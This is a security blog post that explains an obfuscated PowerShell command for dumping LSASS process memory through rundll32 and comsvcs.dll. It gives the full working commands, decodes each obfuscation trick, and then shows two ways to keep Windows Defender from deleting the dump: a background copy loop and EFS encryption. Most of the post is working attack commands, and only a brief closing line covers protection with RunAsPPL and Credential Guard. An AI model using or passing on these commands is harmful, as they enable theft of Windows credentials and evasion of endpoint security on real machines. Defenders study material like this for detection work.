Obfuscated LSASS dump command
Obfuscated LSASS dumper command
A quick walkthrough for a obfuscated PowerShell LSASS dump command via comsvcs.dll.
tl;dr
Malicious command detection for PowerShell is not easy. Pretty hard to tell, what the following command is going to do, huh?
&$env:???t??r???\*2\r[t-u]???[k-l]?2* $(gi $env:???t??r???\*2\c?m?[v-w]*l | % {
$_.FullName }), `#-999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999976-decoy $(gps l?a*s).id c:\t??p\dmp.log full;
- Commands can contain $env variables
- including wildcards for the path
- functions of dlls can be called via the ordinal
- ordinal can be in a negative form
- Defender fails to delete dump via WebDAV
- Defender fails to remove all dumps
Introduction
After publishing the LSASS dump command in the last blogpost, some questions were asked.
Yes, really somebody is reading the blog and asking questions about, yeay :)
So here is a quick walkthrough.
Details
To understand what is going on, we need to split this command.
&$env:???t??r???\*2\r[t-u]???[k-l]?2* $(gi $env:???t??r???\*2\c?m?[v-w]*l
| % { $_.FullName }), `#-9999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999976-decoy $(gps l?a*s).id c:\t??p\dmp.log full;
First part resolves to rundll32.exe via $env = C:\Windows. The “&” executes the binaries, if there would be more than one hit, it would run all of them.
ls "$env:???t??r???\*2\r[t-u]???[k-l]?2*"
Verzeichnis: C:\Windows\System32
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 05.02.2021 20:16 71680 rundll32.exe
Another obfuscated variant:
&${env:S????????T}$($env:L?????????R[$?])S??????2$($env:L?????????R[$?])r[t-u]???[k-l]?2*
found here: https://twitter.com/_JohnHammond/status/1583212890529886208
Second we reference comsvcs.dll, the famous dll for memory dumps. We need the gi = Get-Item wrapped around as we need the full name of the binary.
$(gi $env:???t??r???\*2\c?m?[v-w]*l | % { $_.FullName })
C:\Windows\System32\comsvcs.dll
So far we have C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll
, quite basic.
Next part is a little bit tricky.
http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/
stated, that we can “overflow” the ordinal value and as the MiniDump function have a ordinal of 24 we can just use that big negative number.
Additionally, non numbers are getting ignored, so we can fill up with some decoy at the end.
`#-9999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999
99999976-decoy
To get the ordinal we can look up the PE export table with a tool like pe-bear. MiniDump ordinal in HEX
As a last step, we need the PID of the lsass.
$(gps l?a*s).id
1164
$(Get-Process lsass).id
1164
PoC
If we run the command in an admin PowerShell, we see that the lsass is indeed getting dumped. Dump the lsass
However, the defender is picking the dump up and deleting it.
Avoid deletion of LSASS Dump
As stated in the last blog post, there are some ways to prevent the defender from deleting the dump file, e.g. by using WebDAV or other file systems.
A really stupid variant is to copy the dump file, which will still trigger an alert, but keeps the copy for harvesting.
start-job { cd e:; while ($true) { cp dmp.log dmp.log2;}}
Copy the dump to “trick” Defender
Please Note, that this is technique is not 100% reliable, but worked like 90% during my tests. There are better options, but that’s a point for the next post.
Another possibility is to use the integrated encryption of files (EFS). Defender fails to delete the file then.
&$env:???t??r???\*2\r[t-u]???[k-l]?2* $(gi $env:???t??r???\*2\c?m?[v-w]*l | % {
$_.FullName }), `#-999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999976-decoy $(gps l?a*s).id dmp.tmp full; Wait-Process
-Id (Get-Process rundll32).id ; (Get-Item -Path E:\dmp.tmp).Encrypt();
Defender fails to delete the encypted file
We can then parse the dump with the typical tools offline, or directly via the parser from a college PowerExtract.
Note: You still need to move the file to somewhere “safe”, as the defender will detect the dump if you open the file.
Protection
RunAsPPL or CredentialGuard protects against this kind of lsass dumping attacks. Do not rely on PowerShell command line analysis for detection.
Links
Work and inspiration from others, thanks for that:
https://twitter.com/cyb3rops/status/1575389443241959424
https://twitter.com/_JohnHammond/status/1583212890529886208
https://twitter.com/cyb3rops/status/1468185710687567872
http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/ \